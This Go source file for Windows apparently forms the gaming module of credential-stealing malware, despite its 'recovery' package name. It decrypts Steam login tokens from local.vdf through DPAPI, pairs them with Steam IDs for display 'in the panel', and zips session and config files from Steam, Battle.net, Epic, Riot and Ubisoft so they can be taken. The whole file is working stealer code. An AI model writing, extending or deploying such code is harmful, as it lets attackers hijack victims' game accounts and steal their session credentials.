//go:build windows package recovery import ( "encoding/hex" "os" "path/filepath" "strings" "unsafe" "golang.org/x/sys/windows" "golang.org/x/sys/windows/registry" "recovery/recovery/types" "recovery/recovery/ziputil" ) func normLines(data string) []string { return strings.Split(strings.ReplaceAll(data, "\r\n", "\n"), "\n") } func ScanGaming() *types.GamingResult { result := &types.GamingResult{ Steam: ScanSteam(), BattleNet: ScanBattleNet(), Epic: ScanEpic(), Riot: ScanRiot(), Uplay: ScanUplay(), } if result.Steam == nil && len(result.BattleNet) == 0 && len(result.Epic) == 0 && len(result.Riot) == 0 && len(result.Uplay) == 0 { return nil } return result } func ScanSteam() *types.SteamResult { result := &types.SteamResult{} k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam`, registry.READ) if err != nil { logf("[gaming] Steam registry key not found: %v", err) return nil } defer k.Close() result.AutoLogin, _, _ = k.GetStringValue("AutoLoginUser") remPw, _, _ := k.GetIntegerValue("RememberPassword") result.RememberPW = remPw != 0 steamPath, _, _ := k.GetStringValue("SteamPath") logf("[gaming] Steam registry SteamPath=%q exists=%v", steamPath, pathExists(steamPath)) if steamPath == "" || !pathExists(steamPath) { return nil } steamPath = filepath.FromSlash(steamPath) result.SteamPath = steamPath if result.AutoLogin != "" { result.Account = result.AutoLogin } seenGames := make(map[string]bool) scanSteamLibrary(steamPath, result, seenGames) logf("[gaming] Steam library scan found %d games from manifests", len(result.Games)) appsKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam\Apps`, registry.READ) if err != nil { logf("[gaming] Steam Apps registry key not found: %v", err) } else { defer appsKey.Close() names, _ := appsKey.ReadSubKeyNames(0) logf("[gaming] Steam Apps registry has %d sub-keys", len(names)) for _, name := range names { if seenGames[name] { continue } subKey, err := registry.OpenKey(appsKey, name, registry.READ) if err != nil { continue } gameName, _, _ := subKey.GetStringValue("Name") installed, _, _ := subKey.GetIntegerValue("Installed") running, _, _ := subKey.GetIntegerValue("Running") subKey.Close() if gameName != "" { seenGames[name] = true result.Games = append(result.Games, types.GameInfo{ ID: name, Name: gameName, Installed: installed == 1, Running: running == 1, }) } } } if entries, err := os.ReadDir(steamPath); err == nil { for _, e := range entries { if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { result.SSFNFiles = append(result.SSFNFiles, e.Name()) } } } localVdfPath := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf") logf("[gaming] Steam local.vdf=%q exists=%v", localVdfPath, pathExists(localVdfPath)) if pathExists(localVdfPath) { tokens := extractSteamTokens(steamPath, localVdfPath) if len(tokens) > 0 { result.Token = strings.Join(tokens, "\n") // Parse each token into its steamID + jwt pair (steamID is the part // before the first dot), so it can be surfaced cleanly in the panel. for _, tok := range tokens { if dot := strings.Index(tok, "."); dot > 0 { steamID := tok[:dot] jwt := tok[dot+1:] if steamID != "" && jwt != "" { result.SteamTokens = append(result.SteamTokens, types.SteamTokenResult{ SteamID: steamID, Token: jwt, }) } if result.Account == "" { result.Account = steamID } } } } } if result.Account == "" { configPath := filepath.Join(steamPath, "config", "configstore", "steam-users.xml") if configBytes, err := os.ReadFile(configPath); err == nil { content := string(configBytes) if idx := strings.Index(content, `"PersonaName"`); idx > 0 { start := strings.Index(content[idx:], `"`) end := strings.Index(content[idx+start+1:], `"`) if start > 0 && end > 0 { result.Account = content[idx+start+1 : idx+start+1+end] } } } } return result } func scanSteamLibrary(steamPath string, result *types.SteamResult, seenGames map[string]bool) { libraryFolders := []string{steamPath} steamappsRoot := filepath.Join(steamPath, "steamapps") logf("[gaming] Steam steamapps root=%q exists=%v", steamappsRoot, pathExists(steamappsRoot)) vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf") logf("[gaming] Steam libraryfolders.vdf=%q exists=%v", vdfPath, pathExists(vdfPath)) if data, err := os.ReadFile(vdfPath); err == nil { for _, line := range normLines(string(data)) { line = strings.TrimSpace(line) if strings.HasPrefix(strings.ToLower(line), `"path"`) { val := vdfValue(line) if val != "" { libraryPath := filepath.FromSlash(val) libraryPath = strings.TrimSuffix(libraryPath, string(os.PathSeparator)) if pathExists(libraryPath) && !strings.EqualFold(libraryPath, steamPath) { libraryFolders = append(libraryFolders, libraryPath) } } } } } logf("[gaming] Steam library folders to scan: %v", libraryFolders) for _, lib := range libraryFolders { libApps := filepath.Join(lib, "steamapps") logf("[gaming] Steam checking steamapps=%q exists=%v", libApps, pathExists(libApps)) if !pathExists(libApps) { continue } entries, _ := os.ReadDir(libApps) logf("[gaming] Steam steamapps dir has %d entries", len(entries)) for _, e := range entries { if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") { continue } acfData, err := os.ReadFile(filepath.Join(libApps, e.Name())) if err != nil || len(acfData) == 0 { continue } acf := parseACF(string(acfData)) if acf["appid"] == "" || acf["name"] == "" { continue } installed := acf["StateFlags"] != "4" if !seenGames[acf["appid"]] { seenGames[acf["appid"]] = true result.Games = append(result.Games, types.GameInfo{ ID: acf["appid"], Name: acf["name"], Installed: installed, }) } } } } func parseACF(data string) map[string]string { result := map[string]string{} var inBlock bool for _, line := range normLines(data) { line = strings.TrimLeft(line, "\t ") if line == "{" { inBlock = true continue } if line == "}" { break } if !inBlock || line == "" { continue } if strings.HasPrefix(line, `"`) { key, val := vdfKeyValue(line) if key != "" { result[key] = val } } } return result } func vdfKeyValue(line string) (string, string) { key := vdfNthQuoted(line, 0) val := vdfNthQuoted(line, 1) return key, val } func vdfValue(line string) string { return vdfNthQuoted(line, 1) } func vdfNthQuoted(line string, n int) string { count := 0 i := 0 for count <= n && i < len(line) { start := strings.Index(line[i:], `"`) if start == -1 { return "" } start += i + 1 end := strings.Index(line[start:], `"`) if end == -1 { if count == n { return line[start:] } return "" } if count == n { return line[start : start+end] } i = start + end + 1 count++ } return "" } func extractSteamTokens(steamPath, localVdfPath string) []string { loginUsersPath := filepath.Join(steamPath, "config", "loginusers.vdf") if !pathExists(loginUsersPath) { loginUsersPath = filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "config", "loginusers.vdf") } if !pathExists(loginUsersPath) { return nil } loginData, _ := os.ReadFile(loginUsersPath) localData, _ := os.ReadFile(localVdfPath) if loginData == nil || localData == nil { return nil } accounts := parseVDFAccountNames(string(loginData)) if len(accounts) == 0 { return nil } return findSteamTokens(string(localData), accounts) } func parseVDFAccountNames(data string) []string { var accounts []string for _, line := range normLines(data) { line = strings.TrimSpace(line) if strings.HasPrefix(line, `"AccountName"`) { val := vdfValue(line) if val != "" { accounts = append(accounts, val) } } } return accounts } func findSteamTokens(data string, accounts []string) []string { normalized := strings.ReplaceAll(data, "\r\n", "\n") var tokens []string for _, account := range accounts { prefix := `"` + account + `"` idx := strings.Index(normalized, prefix) if idx == -1 { continue } blockStart := strings.Index(normalized[idx:], "{") blockEnd := strings.Index(normalized[idx:], "}") if blockStart == -1 || blockEnd == -1 || blockEnd < blockStart { continue } block := normalized[idx+blockStart : idx+blockEnd] tokenStart := strings.Index(block, `"Token"`) if tokenStart == -1 { tokenStart = strings.Index(block, `"RefreshToken"`) } if tokenStart == -1 { continue } tokenLine := block[tokenStart:] if lineEnd := strings.Index(tokenLine, "\n"); lineEnd > 0 { tokenLine = tokenLine[:lineEnd] } tokenHex := vdfValue(tokenLine) if len(tokenHex) < 64 { continue } decrypted := decryptSteamToken(tokenHex, account) if decrypted != "" { tokens = append(tokens, account+"."+decrypted) } } return tokens } func decryptSteamToken(tokenHex, account string) string { tokenBytes, err := hex.DecodeString(tokenHex) if err != nil || len(tokenBytes) < 16 { return "" } entropy := []byte(account) out, err := dpapiDecrypt(tokenBytes, entropy) if err != nil || len(out) == 0 { return "" } return strings.TrimRight(string(out), "\x00") } func dpapiDecrypt(data, entropy []byte) ([]byte, error) { type blob struct { cbData uint32 pbData *byte } var inBlob, outBlob blob inBlob.cbData = uint32(len(data)) if len(data) > 0 { inBlob.pbData = &data[0] } var entPtr uintptr if len(entropy) > 0 { entBlob := blob{ cbData: uint32(len(entropy)), pbData: &entropy[0], } entPtr = uintptr(unsafe.Pointer(&entBlob)) } proc := windows.NewLazySystemDLL("crypt32.dll").NewProc("CryptUnprotectData") r, _, err := proc.Call( uintptr(unsafe.Pointer(&inBlob)), 0, entPtr, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)), ) if r == 0 { return nil, err } defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData)))) out := make([]byte, outBlob.cbData) copy(out, unsafe.Slice(outBlob.pbData, outBlob.cbData)) return out, nil } func pathExists(path string) bool { _, err := os.Stat(path) return err == nil } func ScanBattleNet() []types.BattleNetResult { var results []types.BattleNetResult bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net") logf("[gaming] Battle.net dir=%q exists=%v", bnDir, pathExists(bnDir)) if !pathExists(bnDir) { return nil } entries, _ := os.ReadDir(bnDir) for _, e := range entries { if e.IsDir() { scanBattleNetRecursive(filepath.Join(bnDir, e.Name()), &results) } else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") { results = append(results, types.BattleNetResult{ Path: filepath.Join(bnDir, e.Name()), Name: e.Name(), }) } } return results } func scanBattleNetRecursive(dir string, results *[]types.BattleNetResult) { entries, err := os.ReadDir(dir) if err != nil { return } for _, e := range entries { if e.IsDir() { scanBattleNetRecursive(filepath.Join(dir, e.Name()), results) } else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") { *results = append(*results, types.BattleNetResult{ Path: filepath.Join(dir, e.Name()), Name: e.Name(), }) } } } func ScanEpic() []types.EpicResult { var results []types.EpicResult path := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini") logf("[gaming] Epic config=%q exists=%v", path, pathExists(path)) if !pathExists(path) { return nil } data, err := os.ReadFile(path) if err != nil || len(data) == 0 { return nil } content := string(data) if strings.Contains(content, "RememberMe") || strings.Contains(content, "Offline") { results = append(results, types.EpicResult{Path: path, Name: "GameUserSettings.ini"}) } return results } func ScanRiot() []types.RiotResult { var results []types.RiotResult riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Data") logf("[gaming] Riot data dir=%q exists=%v", riotDir, pathExists(riotDir)) if pathExists(riotDir) { results = append(results, types.RiotResult{Path: riotDir, Name: "RiotGamesPrivateSettings.yaml"}) } configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Config") logf("[gaming] Riot config dir=%q exists=%v", configDir, pathExists(configDir)) if pathExists(configDir) { results = append(results, types.RiotResult{Path: configDir, Name: "Config"}) } return results } func ScanUplay() []types.UplayResult { var results []types.UplayResult path := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher") logf("[gaming] Uplay dir=%q exists=%v", path, pathExists(path)) if pathExists(path) { results = append(results, types.UplayResult{Path: path, Name: "Ubisoft Game Launcher"}) } return results } const maxZipFile = 50 * 1024 * 1024 func ZipSteamSession(steamPath string) ([]byte, error) { if steamPath == "" || !pathExists(steamPath) { return nil, os.ErrNotExist } var files []string entries, _ := os.ReadDir(steamPath) for _, e := range entries { if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { if info, _ := e.Info(); info != nil && info.Size() < maxZipFile { files = append(files, filepath.Join(steamPath, e.Name())) } } } configDir := filepath.Join(steamPath, "config") for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} { p := filepath.Join(configDir, name) if pathExists(p) { files = append(files, p) } } localVdf := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf") if pathExists(localVdf) { files = append(files, localVdf) } if len(files) == 0 { return nil, os.ErrNotExist } logf("[gaming] ZipSteamSession: %d files from %s", len(files), steamPath) return ziputil.ZipFiles(files, filepath.Dir(steamPath)) } func ZipBattleNet() ([]byte, error) { bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net") if !pathExists(bnDir) { return nil, os.ErrNotExist } return ziputil.ZipDirectory(bnDir) } func ZipEpic() ([]byte, error) { configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows") if !pathExists(configDir) { return nil, os.ErrNotExist } return ziputil.ZipDirectory(configDir) } func ZipRiot() ([]byte, error) { riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client") if !pathExists(riotDir) { return nil, os.ErrNotExist } var files []string for _, sub := range []string{"Data", "Config"} { d := filepath.Join(riotDir, sub) if !pathExists(d) { continue } filepath.Walk(d, func(path string, info os.FileInfo, err error) error { if err != nil || info.IsDir() || info.Size() > maxZipFile { return nil } files = append(files, path) return nil }) } if len(files) == 0 { return nil, os.ErrNotExist } return ziputil.ZipFiles(files, riotDir) } func ZipUplay() ([]byte, error) { uplayDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher") if !pathExists(uplayDir) { return nil, os.ErrNotExist } return ziputil.ZipDirectory(uplayDir) }